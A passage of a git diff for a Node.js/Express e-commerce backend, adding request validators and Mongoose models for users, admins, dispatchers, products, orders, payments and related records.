.withMessage("Password must be at least 6 chars long") + .matches(/\d/) + .withMessage("must contain a number") + .withMessage("Password must contain a number"); + + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + // proceed to next middleware + next(); +}; + +exports.validateBusinessInfo = (req, res, next) => { + req.check("ownerName", "Owner name is required").notEmpty() + req.check("address", "Address is required").notEmpty() + req.check("city", "City is required").notEmpty() + req.check("citizenshipNumber", "Citizenship number is required").notEmpty() + req.check("businessRegisterNumber", "Business register number is required").notEmpty() + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + //make req.files to array of objs + // let files = [] + // if (req.files) for (const file in req.files) { + // files.push(req.files[file][0]); + // } + // files.forEach(file => { + // fs.unlinkSync(file.path);//and remove file from public/uploads + // }) + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + next() +} +exports.validateAdminBankInfo = (req, res, next) => { + req.check("accountHolder", "Account holder name is required").notEmpty() + req.check("bankName", "Bank name is required").notEmpty() + req.check("branchName", "Branch name is required").notEmpty() + req.check("accountNumber", "Account number is required").notEmpty() + req.check("routingNumber", "Bank number is required").notEmpty() + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + // req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + next() +} +exports.validateWareHouse = (req, res, next) => { + req.check("name", "Warehouse name is required").notEmpty() + req.check("address", "Warehouse address is required").notEmpty() + req.check("phoneno", "Warehouse phone number is required").notEmpty() + req.check("city", "City of warehouse is required").notEmpty() + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + next() +} +exports.validateAdminProfile = (req, res, next) => { + req.check("shopName", "Shop name is required").notEmpty() + req.check("address", "address is required").notEmpty() + req.check("phone", "phone number is required").notEmpty() + req.check("muncipality", "Muncipality is required").notEmpty() + req.check("district", "district is required").notEmpty() + req.check("wardno", "wardno is required").notEmpty() + req.newPassword && req.check("newPassword") + .isLength({ min: 6 }) + .withMessage("Password must be at least 6 chars long") + .matches(/\d/) + .withMessage("must contain a number") + .withMessage("Password must contain a number"); + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + next() +} +exports.validateProduct = async (req, res, next) => { + req.check("name", "Product name is required").notEmpty() + req.check("price", "Selling price of product is required").notEmpty() + req.check("quantity", "Product quantity is required").notEmpty() + req.check("return", "Product returning time peroid required").notEmpty() + req.check("description", "Product description is required").notEmpty() + req.check("warranty", "Product warranty is required").notEmpty() + req.check("brand", "Product brand is required").notEmpty() + req.check("availableDistricts", "Invalid districts.").custom((values) => { + let dts = values ? typeof values === 'string' ? [values] : values : [] + return values ? _.intersection(districts, dts).length === dts.length ? true : false : true + }) + + // check for errors + const errors = req.validationErrors() || []; + + // validate images + let images = req.body.images || [] + images = await ProductImages + .find() + .where('_id') + .in(images) + .catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids + // if some id are invalid + // e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error.. + if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) { + errors.push({ msg: "Invalid image ids" }) + } + req.images = images + // validate brand + let brand = await ProductBrand.findOne({ slug: req.body.brand }) + if (!brand) { + errors.push({ msg: "Invalid product brand" }) + } else { + req.body.brand = brand._id + } + + //validate category + let categories = await Category.find({ slug: req.body.category }) + if (!categories.length) { + errors.push({ msg: "Invalid product category" }) + } else if (categories.some(cat=>cat.isDisabled)) { + errors.push({ msg: "Categories have been disabled" }) + } else { + req.body.category = categories.map(cat=>cat._id)//as we need id for reference + } + // if error show the first one as they happen + if (errors.length) { + console.log(errors); + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + next() +} \ No newline at end of file diff --git a/server/models/Address.js b/server/models/Address.js new file mode 100644 index 0000000..a3998eb --- /dev/null +++ b/server/models/Address.js @@ -0,0 +1,55 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const pointSchema = new mongoose.Schema({ + type: { + type: String, + enum: ['Point'] + }, + coordinates: { + type: [Number] + } +}); + +const addressSchema = new mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: "user", + required: true + }, + label: { + type: String, + trim: true, + enum:['home','office','other'] + }, + region: {//pradesh + type: String, + trim: true, + }, + city: { + type: String, + trim: true, + }, + area: {//tole,area name + type: String, + trim: true, + }, + address: {//street level address + type: String, + trim: true, + }, + geolocation: { + type: pointSchema, + }, + phoneno: { + type: String, + trim: true, + max: 9999999999, + }, + isActive:{ + type: Date, + default: null + } +}, { timestamps: true }); +addressSchema.index({ geolocation: "2dsphere" }); + +module.exports = mongoose.model("address", addressSchema); \ No newline at end of file diff --git a/server/models/Admin.js b/server/models/Admin.js new file mode 100644 index 0000000..20703f2 --- /dev/null +++ b/server/models/Admin.js @@ -0,0 +1,149 @@ +const mongoose = require("mongoose"); +const crypto = require("crypto"); +const Schema = mongoose.Schema +const pointSchema = new mongoose.Schema({ + type: { + type: String, + enum: ['Point'] + }, + coordinates: { + type: [Number] + } +}); +const adminSchema = new mongoose.Schema({ + name: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + shopName: { + type: String, + trim: true, + maxlength: 32 + }, + address: { + type: String, + trim: true, + maxlength: 32 + }, + geolocation: { + type: pointSchema,//of superadmin used to calculate geodistance between user nd the order dispatch system + }, + shippingRate: { + type: Number// added only by superadmin + }, + shippingCost: { + type: Number// added only by superadmin + }, + district: { + type: String, + trim: true, + maxlength: 32 + }, + muncipality: { + type: String, + trim: true, + maxlength: 32 + }, + wardno: { + type: Number + }, + businessInfo: { + type: Schema.Types.ObjectId, + ref: "businessinfo" + }, + adminBank: { + type: Schema.Types.ObjectId, + ref: "adminbank" + }, + adminWareHouse: { + type: Schema.Types.ObjectId, + ref: "adminwarehouse" + }, + phone: { + type: Number, + max: 9999999999 + }, + email: { + type: String, + trim: true, + unique: true + }, + password: { + type: String, + required: true + }, + photo: { + type: String + }, + holidayMode: { + start: { + type: Number + }, + end: { + type: Number + } + }, + salt: String, + role: { + type: String, + enum: ["admin", "superadmin"], + default: "admin" + }, + resetPasswordLink: { + type: String, + default: "" + }, + emailVerifyLink: { + type: String, + default: "" + }, + isVerified: { + type: Date, + default: null + }, + isBlocked: { + type: Date, + default: null + } +}, { timestamps: true }); +adminSchema.index({ geolocation: "2dsphere" }); + +const sha512 = function (password, salt) { + let hash = crypto.createHmac('sha512', salt); + hash.update(password); + let value = hash.digest('hex'); + return { + passwordHash: value + }; +}; +adminSchema.pre('save', function (next) { + let admin = this; + if (admin.isModified('password')) { + // salt + const ranStr = function (n) { + return crypto.randomBytes(Math.ceil(8)) + .toString('hex') + .slice(0, n); + }; + // applying sha512 alogrithm + let salt = ranStr(16); + let passwordData = sha512(admin.password, salt); + admin.password = passwordData.passwordHash; + admin.salt = salt; + next(); + } else { + next(); + } +}) +adminSchema.statics.findByCredentials = async function (email, password) { + let Admin = this; + const admin = await Admin.findOne({ email }) + if (!admin) return '' + let passwordData = sha512(password, admin.salt) + if (passwordData.passwordHash == admin.password) { + return admin + } +} +module.exports = mongoose.model("admin", adminSchema); \ No newline at end of file diff --git a/server/models/AdminBank.js b/server/models/AdminBank.js new file mode 100644 index 0000000..8f36732 --- /dev/null +++ b/server/models/AdminBank.js @@ -0,0 +1,49 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const bankSchema = new mongoose.Schema({ + admin: { + type: Schema.Types.ObjectId, + ref: "admin", + required: true + }, + accountHolder: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + bankName: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + branchName: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + accountNumber: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + routingNumber: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + chequeCopy: { + type: Schema.Types.ObjectId, + ref: "adminfile", + }, + isVerified: { + type: Date,//as we may need verified date + default: null + } +}, { timestamps: true }); + +module.exports = mongoose.model("adminbank", bankSchema); \ No newline at end of file diff --git a/server/models/AdminFiles.js b/server/models/AdminFiles.js new file mode 100644 index 0000000..1c25bae --- /dev/null +++ b/server/models/AdminFiles.js @@ -0,0 +1,10 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema +const adminFileSchema = new mongoose.Schema({ + admin: { + type: Schema.Types.ObjectId, + ref: "admin", + }, + fileUri: String +}, { timestamps: true }); +module.exports = mongoose.model('adminfile', adminFileSchema); \ No newline at end of file diff --git a/server/models/AdminWarehouse.js b/server/models/AdminWarehouse.js new file mode 100644 index 0000000..e9281c0 --- /dev/null +++ b/server/models/AdminWarehouse.js @@ -0,0 +1,39 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const warehouseSchema = new mongoose.Schema({ + admin: { + type: Schema.Types.ObjectId, + ref: "admin", + required: true + }, + name: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + address: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + phoneno: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + city: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + isVerified: { + type: Date,//as we may need verified date + default: null + } +}, { timestamps: true }); + +module.exports = mongoose.model("adminwarehouse", warehouseSchema); \ No newline at end of file diff --git a/server/models/Banner.js b/server/models/Banner.js new file mode 100644 index 0000000..c224266 --- /dev/null +++ b/server/models/Banner.js @@ -0,0 +1,19 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema; +const bannerSchema = mongoose.Schema({ + bannerPhoto :{ + type:String + }, + link: { + type: String + }, + product: { + type: Schema.Types.ObjectId, + ref: 'product' + }, + isDeleted: { + type: Date, + default: null + }, +}, { timestamps: true }); +module.exports = mongoose.model('banner', bannerSchema); \ No newline at end of file diff --git a/server/models/BusinessInfo.js b/server/models/BusinessInfo.js new file mode 100644 index 0000000..5ed2708 --- /dev/null +++ b/server/models/BusinessInfo.js @@ -0,0 +1,57 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const businessSchema = new mongoose.Schema({ + admin: { + type: Schema.Types.ObjectId, + ref: "admin", + required: true + }, + ownerName: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + address: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + city: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + citizenshipNumber: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + businessRegisterNumber:{ + type: String, + trim: true, + required: true, + maxlength: 32 + }, + citizenshipFront: { + type: Schema.Types.ObjectId, + ref: "adminfile", + }, + citizenshipBack: { + type: Schema.Types.ObjectId, + ref: "adminfile", + }, + businessLicence:{ + type: Schema.Types.ObjectId, + ref: "adminfile", + }, + isVerified:{ + type: Date,//as we may need verified date + default: null + } +}, { timestamps: true }); + +module.exports = mongoose.model("businessinfo", businessSchema); \ No newline at end of file diff --git a/server/models/Cart.js b/server/models/Cart.js new file mode 100644 index 0000000..ed28af9 --- /dev/null +++ b/server/models/Cart.js @@ -0,0 +1,23 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema; +const cartSchema = mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: 'user' + }, + product: { + type: Schema.Types.ObjectId, + ref: 'product' + }, + quantity: { + type: Number, + }, + productAttributes: { + type: String + }, + isDeleted: { + type: Date, + default: null + } +}, { timestamps: true }); +module.exports = mongoose.model('cart', cartSchema); \ No newline at end of file diff --git a/server/models/Category.js b/server/models/Category.js new file mode 100644 index 0000000..26dbaf8 --- /dev/null +++ b/server/models/Category.js @@ -0,0 +1,34 @@ +const mongoose = require("mongoose"); +const URLSlugs = require('mongoose-url-slugs'); +const Schema = mongoose.Schema +const categorySchema = new mongoose.Schema({ + systemName: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + displayName: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + parent: { + type: Schema.Types.ObjectId, + ref: 'productbrand' + }, + brands: [{ + type: Schema.Types.ObjectId, + ref: 'category' + }], + slug:{ + type: String + }, + isDisabled: { + type: Date, + default:null + } +}); +categorySchema.plugin(URLSlugs('displayName', { field: 'slug', update: true })); +module.exports = mongoose.model("category", categorySchema); \ No newline at end of file diff --git a/server/models/Dispatcher.js b/server/models/Dispatcher.js new file mode 100644 index 0000000..c27392b --- /dev/null +++ b/server/models/Dispatcher.js @@ -0,0 +1,76 @@ +const mongoose = require("mongoose"); +const crypto = require("crypto"); +const Schema = mongoose.Schema +const dispatcherSchema = new mongoose.Schema({ + name: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + address: { + type: String, + trim: true, + maxlength: 32 + }, + phone: { + type: Number, + max: 9999999999 + }, + email: { + type: String, + trim: true, + unique: true + }, + password: { + type: String, + required: true + }, + salt: String, + resetPasswordLink: { + type: String, + default: "" + }, + isBlocked: { + type: Date, + default: null + } +}, { timestamps: true }); + +const sha512 = function (password, salt) { + let hash = crypto.createHmac('sha512', salt); + hash.update(password); + let value = hash.digest('hex'); + return { + passwordHash: value + }; +}; +dispatcherSchema.pre('save', function (next) { + let dispatcher = this; + if (dispatcher.isModified('password')) { + // salt + const ranStr = function (n) { + return crypto.randomBytes(Math.ceil(8)) + .toString('hex') + .slice(0, n); + }; + // applying sha512 alogrithm + let salt = ranStr(16); + let passwordData = sha512(dispatcher.password, salt); + dispatcher.password = passwordData.passwordHash; + dispatcher.salt = salt; + next(); + } else { + next(); + } +}) +dispatcherSchema.statics.findByCredentials = async function (email, password) { + let Dispatcher = this; + const dispatcher = await Dispatcher.findOne({ email }) + if (!dispatcher) return '' + let passwordData = sha512(password, dispatcher.salt) + if (passwordData.passwordHash == dispatcher.password) { + return dispatcher + } +} +module.exports = mongoose.model("dispatcher", dispatcherSchema); \ No newline at end of file diff --git a/server/models/Districts.js b/server/models/Districts.js new file mode 100644 index 0000000..fe9c49b --- /dev/null +++ b/server/models/Districts.js @@ -0,0 +1,10 @@ +const mongoose = require('mongoose'); +const { districts } = require('../middleware/common'); +const districtSchema = mongoose.Schema({ + name: { + type: String, + unique: true, + enum : districts + } +}, { timestamps: true }); +module.exports = mongoose.model('district', districtSchema); \ No newline at end of file diff --git a/server/models/Lead.js b/server/models/Lead.js new file mode 100644 index 0000000..e0cc565 --- /dev/null +++ b/server/models/Lead.js @@ -0,0 +1,12 @@ +const mongoose = require('mongoose'); +const leadSchema = mongoose.Schema({ + email: { + type: String, + unique: true + }, + isDeleted: { + type: Date, + default: null + } +}, { timestamps: true }); +module.exports = mongoose.model('lead', leadSchema); \ No newline at end of file diff --git a/server/models/ManualOrder.js b/server/models/ManualOrder.js new file mode 100644 index 0000000..0e353a9 --- /dev/null +++ b/server/models/ManualOrder.js @@ -0,0 +1,18 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema; +const manualOrderSchema = mongoose.Schema({ + productName:{ + type: String + }, + link:{ + type: String + }, + description: { + type: String + }, + isDeleted: { + type: Date, + default: null + } +}, { timestamps: true }); +module.exports = mongoose.model('manualorder', manualOrderSchema); \ No newline at end of file diff --git a/server/models/Notification.js b/server/models/Notification.js new file mode 100644 index 0000000..2673e08 --- /dev/null +++ b/server/models/Notification.js @@ -0,0 +1,29 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema +const notificationSchema = new mongoose.Schema({ + admin: { + type: Schema.Types.ObjectId, + ref: "admin", + }, + notifications: [{ + notificationType: String, //order, question_on_product, answer_on_product, review + notificationDetail: Object, //details in key/value + hasRead: { + type: Boolean, + default: false + }, + date: { + type: Date + }, + // hasSeen: { + // type: Boolean, + // default: false + // } + }], + noOfUnseen: { + type: Number, + default: 0 + } + +}); +module.exports = mongoose.model('notification', notificationSchema); \ No newline at end of file diff --git a/server/models/Order.js b/server/models/Order.js new file mode 100644 index 0000000..a6df860 --- /dev/null +++ b/server/models/Order.js @@ -0,0 +1,149 @@ +const mongoose = require("mongoose"); +const { allOrderStatus } = require("../middleware/common"); + +const Schema = mongoose.Schema +const pointSchema = new mongoose.Schema({ + type: { + type: String, + enum: ['Point'] + }, + coordinates: { + type: [Number] + } +}); +const orderSchema = new mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: "user", + required: true + }, + orderID:{ + type: String, + require: true + }, + product: { + type: Schema.Types.ObjectId, + ref: "product", + required: true + }, + payment: { + type: Schema.Types.ObjectId, + ref: "payment", + }, + quantity: { + type: Number + }, + soldBy:{ + type: Schema.Types.ObjectId, + ref:"admin" + }, + status: { + currentStatus: { + type: String, + enum: allOrderStatus + }, + activeDate: { + type: Date, + default: null + }, + approvedDate: { + type: Date, + default: null + }, + dispatchedDetail: { + dispatchedDate: { + type: Date, + default: null + }, + dispatchedBy: { + type: Schema.Types.ObjectId, + ref: 'dispatcher' + }, + }, + cancelledDetail: { + cancelledDate:{ + type: Date, + default: null + }, + cancelledBy:{ + type: Schema.Types.ObjectId, + refPath: "cancelledByModel" + }, + remark: { + type: Schema.Types.ObjectId, + ref: 'remark' + }, + }, + completedDate: { + type: Date, + default: null + }, + tobereturnedDate: { + type: Date, + default: null + }, + // tobeReturnedDetail: { + // tobereturnedDate: { + // type: Date + // }, + // remark: { + // type: Schema.Types.ObjectId, + // ref: 'remark' + // }, + // }, + returnedDetail: { + returnedDate: { + type: Date, + default: null + }, + returneddBy: { + type: Schema.Types.ObjectId, + ref: 'dispatcher' + }, + remark: [{ + type: Schema.Types.ObjectId, + ref: 'remark' + }], + }, + }, + shipto:{ + region: {//pradesh + type: String, + trim: true, + }, + city: { + type: String, + trim: true, + }, + area: {//tole,area name + type: String, + trim: true, + }, + address: {//street level address + type: String, + trim: true, + }, + geolocation: { + type: pointSchema, + }, + phoneno: { + type: String, + trim: true, + max: 9999999999, + } + }, + isPaid:{ + type: Boolean, + default: false + }, + cancelledByModel: { + type: String, + enum: ['user', 'admin'] + }, + productAttributes:{ + type: String + } +}, { timestamps: true }); +orderSchema.index({ geolocation: "2dsphere" }); + +module.exports = mongoose.model("order", orderSchema); \ No newline at end of file diff --git a/server/models/Payment.js b/server/models/Payment.js new file mode 100644 index 0000000..fe570fd --- /dev/null +++ b/server/models/Payment.js @@ -0,0 +1,43 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const paymentSchema = new mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: "user", + required: true + }, + order: { + type: Schema.Types.ObjectId, + ref: "order", + required: true + }, + method: { + type: String, + enum: ['Cash on Delivery','manual']//manual ==> bank or manual esewa.. + }, + shippingCharge: { + type: Number, + }, + amount: { + type: Number, + }, + returnedAmount: { + type: Number, + default: null + }, + transactionCode: { + type: String, + required: true + }, + from:{ + type:Number, + max: 9999999999 //!esewa && receiverNumber + }, + isDeleted: { + type: Date, + default: null + } + +}, { timestamps: true }); + +module.exports = mongoose.model("payment", paymentSchema); \ No newline at end of file diff --git a/server/models/Product.js b/server/models/Product.js new file mode 100644 index 0000000..b921d28 --- /dev/null +++ b/server/models/Product.js @@ -0,0 +1,141 @@ +const mongoose = require("mongoose"); +const URLSlugs = require('mongoose-url-slugs'); +const { districts } = require("../middleware/common"); +const Schema = mongoose.Schema; +const productSchema = mongoose.Schema({ + name: { + type: String, + trim: true, + required: true, + maxlength: 128 + }, + brand: { + type: Schema.Types.ObjectId, + ref: 'productbrand' + }, + quantity: { + type: Number, + trim: true, + required: true, + maxlength: 32 + }, + category: [{ + type: Schema.Types.ObjectId, + ref: 'category' + }], + averageRating:{ + type: mongoose.Decimal128 + }, + totalRatingUsers:{ + type: Number + }, + soldBy: { + type: Schema.Types.ObjectId, + ref: 'admin' + }, + images: [{ + type: Schema.Types.ObjectId, + ref: 'productimages' + }], + warranty: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + return: { + type: String, + required: true, + trim: true, + maxlength: 32 + }, + size: [{ + type: String, + trim: true, + maxlength: 32 + }], + model: { + type: String, + trim: true, + maxlength: 128 + }, + color: [{ + type: String, + trim: true, + maxlength: 128 + }], + weight: [{ + type: String, + trim: true, + maxlength: 128 + }], + description: { + type: String, + required: true, + trim: true, + maxlength: 2000 + }, + highlights: { + type: String, + required: true, + trim: true, + maxlength: 2000 + }, + tags: [{ + type: String + }], + price: { + type: mongoose.Decimal128, + required:true + }, + discountRate: { + type: Number,//it may b float as well.. + default:0 + }, + videoURL:[{ + type:String + }], + isVerified: { + type: Date, + default: null + }, + isRejected: { + type: Date, + default: null + }, + isDeleted: { + type: Date, + default: null + }, + isFeatured: { + type: Date, + default: null + }, + viewsCount: { + type: Number, + default: 0, + }, + trendingScore: { + type: mongoose.Decimal128, + default: 0 + }, + noOfSoldOut: { + type: Number, + default: 0, + }, + slug: { + type: String, + unique: true + }, + availableDistricts:[{ + type: String, + enum: districts, + required: true + }], + remark: [{ + type: Schema.Types.ObjectId, + ref: 'remark' + }], +}, { timestamps: true }); +productSchema.plugin(URLSlugs('name', { field: 'slug', update: true })); +module.exports = mongoose.model("product", productSchema); \ No newline at end of file diff --git a/server/models/ProductBrand.js b/server/models/ProductBrand.js new file mode 100644 index 0000000..b9f34d9 --- /dev/null +++ b/server/models/ProductBrand.js @@ -0,0 +1,16 @@ +const mongoose = require('mongoose'); +const URLSlugs = require('mongoose-url-slugs'); +const brandSchema = new mongoose.Schema({ + brandName: { + type : String + }, + systemName: { + type: String, + unique: true + }, + slug:{ + type: String + } +}) +brandSchema.plugin(URLSlugs('brandName', { field: 'slug', update: true })); +module.exports = mongoose.model("productbrand", brandSchema); \ No newline at end of file diff --git a/server/models/ProductImages.js b/server/models/ProductImages.js new file mode 100644 index 0000000..68df12e --- /dev/null +++ b/server/models/ProductImages.js @@ -0,0 +1,19 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema +const productImageSchema = mongoose.Schema({ + thumbnail: { + type: String + }, + medium: { + type: String + }, + large: { + type:String + }, + productLink:{ + type: Schema.Types.ObjectId, + ref: "product", + default: null + } +}, { timestamps: true }); +module.exports = mongoose.model('productimages', productImageSchema); \ No newline at end of file diff --git a/server/models/QnA.js b/server/models/QnA.js new file mode 100644 index 0000000..457c35b --- /dev/null +++ b/server/models/QnA.js @@ -0,0 +1,37 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const qnaSchema = new mongoose.Schema({ + product: { + type: Schema.Types.ObjectId, + ref: "product", + required: true + }, + qna: [{ + question: { + type: String + }, + questionby: { + type: Schema.Types.ObjectId, + ref: "user", + }, + questionedDate:{ + type: Date + }, + answer: { + type: String + }, + answerby: { + type: Schema.Types.ObjectId, + ref: "admin", + }, + answeredDate: { + type: Date + }, + isDeleted: { + type: Date, + default: null + } + }] +}); + +module.exports = mongoose.model("qna", qnaSchema); \ No newline at end of file diff --git a/server/models/RefereshToken.js b/server/models/RefereshToken.js new file mode 100644 index 0000000..5e06bb8 --- /dev/null +++ b/server/models/RefereshToken.js @@ -0,0 +1,24 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema +const tokenSchema = mongoose.Schema({ + //we need user ref in order to create accessToken of that user only + // user: { + // type: Schema.Types.ObjectId, + // refPath: "sysUsers", + // }, + refreshToken:{ + type: String, + default: '' + }, + userIP: { + type: String + }, + // expires: { + // type : Date + // }, + // sysUsers: { + // type: String, + // enum: ['user', 'admin','dispatcher'] + // }, +}); +module.exports = mongoose.model('refreshtoken', tokenSchema); \ No newline at end of file diff --git a/server/models/Remark.js b/server/models/Remark.js new file mode 100644 index 0000000..094324a --- /dev/null +++ b/server/models/Remark.js @@ -0,0 +1,27 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema; +const remarkSchema = mongoose.Schema({ + comment: { + type: String + }, + isDeleted: { + type: Date, + default: null + }, + // createdBy: { + // type: Schema.Types.ObjectId, + // refPath: "deletedByModel" + // }, + // deletedBy: { + // type: Schema.Types.ObjectId, + // refPath: "deletedByModel" + // }, + // deleteByModel: { + // type: String, + // enum: ['dispatcher', 'admin', 'user', 'superadmin'] + // }, + // reason: { + // type: String//product_tobereturned,cancel_order_by_admin, cancel_order_by_user, disapprove_product + // } +}, { timestamps: true }); +module.exports = mongoose.model('remark', remarkSchema); \ No newline at end of file diff --git a/server/models/Review.js b/server/models/Review.js new file mode 100644 index 0000000..54c802e --- /dev/null +++ b/server/models/Review.js @@ -0,0 +1,20 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema; +const reviewSchema = mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: 'user' + }, + product: { + type: Schema.Types.ObjectId, + ref: 'product' + }, + comment: { + type: String + }, + star: { + type: Number, + max:5 + } +}, { timestamps: true }); +module.exports = mongoose.model('reviews', reviewSchema); \ No newline at end of file diff --git a/server/models/SocketMapping.js b/server/models/SocketMapping.js new file mode 100644 index 0000000..9efce15 --- /dev/null +++ b/server/models/SocketMapping.js @@ -0,0 +1,11 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema +//later we have to do mapping through redis server +const socketMappingSchema = new mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: "admin", + }, + socketId: String +}); +module.exports = mongoose.model('socketmapping', socketMappingSchema); \ No newline at end of file diff --git a/server/models/SuggestKeywords.js b/server/models/SuggestKeywords.js new file mode 100644 index 0000000..79f2889 --- /dev/null +++ b/server/models/SuggestKeywords.js @@ -0,0 +1,12 @@ +const mongoose = require('mongoose'); +const suggestKeywordSchema = mongoose.Schema({ + keyword: { + type: String, + unique: true + }, + isDeleted: { + type: Date, + default: null + } +}, { timestamps: true }); +module.exports = mongoose.model('suggestkeyword', suggestKeywordSchema); \ No newline at end of file diff --git a/server/models/User.js b/server/models/User.js new file mode 100644 index 0000000..607cd88 --- /dev/null +++ b/server/models/User.js @@ -0,0 +1,100 @@ +const mongoose = require("mongoose"); +const crypto = require("crypto"); +const Schema = mongoose.Schema +const userSchema = new mongoose.Schema({ + name: { + type: String, + trim: true, + required: true, + maxlength: 32 + }, + email: { + type: String, + trim: true, + // unique:true + }, + userID: { + type: String, + trim: true, + unique: true + }, + loginDomain: { + type: String, + default: "system",//can be facebook, google as well + enum:['system', 'facebook', 'google'] + }, + password: { + type: String, + // required: true + }, + location: [{ + type: Schema.Types.ObjectId, + ref: "address" + }], + photo: { + type: String + }, + socialPhoto: { + type: String + }, + dob:{ + type: String + }, + gender:{ + type:String, + enum:['male','female','other'] + }, + resetPasswordLink: { + type: String, + default: "" + }, + emailVerifyLink: { + type: String, + default: "" + }, + salt: String, + isBlocked: { + type: Date, + default: null + } +}, { timestamps: true }); +userSchema.index({ geolocation: "2dsphere" }); + +const sha512 = function (password, salt) { + let hash = crypto.createHmac('sha512', salt); + hash.update(password); + let value = hash.digest('hex'); + return { + passwordHash: value + }; +}; +userSchema.pre('save', function (next) { + let user = this; + if (user.isModified('password')) { + // salt + const ranStr = function (n) { + return crypto.randomBytes(Math.ceil(8)) + .toString('hex') + .slice(0, n); + }; + // applying sha512 alogrithm + let salt = ranStr(16); + let passwordData = sha512(user.password, salt); + user.password = passwordData.passwordHash; + user.salt = salt; + next(); + } else { + next(); + } +}) +userSchema.statics.findByCredentials = async function (email, password) { + let User = this; + const user = await User.findOne({ email, loginDomain:'system' }) + if (!user) return '' + let passwordData = sha512(password, user.salt) + if (passwordData.passwordHash == user.password) { + return user + } +} + +module.exports = mongoose.model("user", userSchema); \ No newline at end of file diff --git a/server/models/WishList.js b/server/models/WishList.js new file mode 100644 index 0000000..b0a9914 --- /dev/null +++ b/server/models/WishList.js @@ -0,0 +1,20 @@ +const mongoose = require('mongoose'); +const Schema = mongoose.Schema; +const wishSchema = mongoose.Schema({ + user: { + type: Schema.Types.ObjectId, + ref: 'user' + }, + product: { + type: Schema.Types.ObjectId, + ref: 'product' + }, + quantity: { + type: Number, + }, + isDeleted: { + type: Date, + default: null + } +}, { timestamps: true }); +module.exports = mongoose.model('wishlist', wishSchema); \ No newline at end of file diff --git a/server/models/minedProduct.js b/server/models/minedProduct.js new file mode 100644 index 0000000..62bc009 --- /dev/null +++ b/server/models/minedProduct.js @@ -0,0 +1,18 @@ +const mongoose = require("mongoose"); +const Schema = mongoose.Schema +const forYouSchema = new mongoose.Schema({ + forYou: [{ + user:{ + type: Schema.Types.ObjectId, + ref: 'user', + unique: true + }, + products: [{ + type: Schema.Types.ObjectId, + ref: 'product', + unique: true + }] + }] +}); + +module.exports = mongoose.model("minedproduct", forYouSchema); \ No newline at end of file diff --git a/server/models/orderModel.js b/server/models/orderModel.js new file mode 100644 index 0000000..8762bb6 --- /dev/null +++ b/server/models/orderModel.js @@ -0,0 +1,92 @@ +const mongoose = require('mongoose'); + +const orderSchema = new mongoose.Schema({ + shippingInfo: { + address: { + type: String, + required: true + }, + city: { + type: String, + required: true + }, + state: { + type: String, + required: true + }, + country: { + type: String, + required: true + }, + pincode: { + type: Number, + required: true + }, + phoneNo: { + type: Number, + required: true + }, + }, + orderItems: [ + { + name: { + type: String, + required: true + }, + price: { + type: Number, + required: true + }, + quantity: { + type: Number, + required: true + }, + image: { + type: String, + required: true + }, + product: { + type: mongoose.Schema.ObjectId, + ref: "Product", + required: true + }, + }, + ], + user: { + type: mongoose.Schema.ObjectId, + ref: "User", + required: true + }, + paymentInfo: { + id: { + type: String, + required: true + }, + status: { + type: String, + required: true + }, + }, + paidAt: { + type: Date, + required: true + }, + totalPrice: { + type: Number, + required: true, + 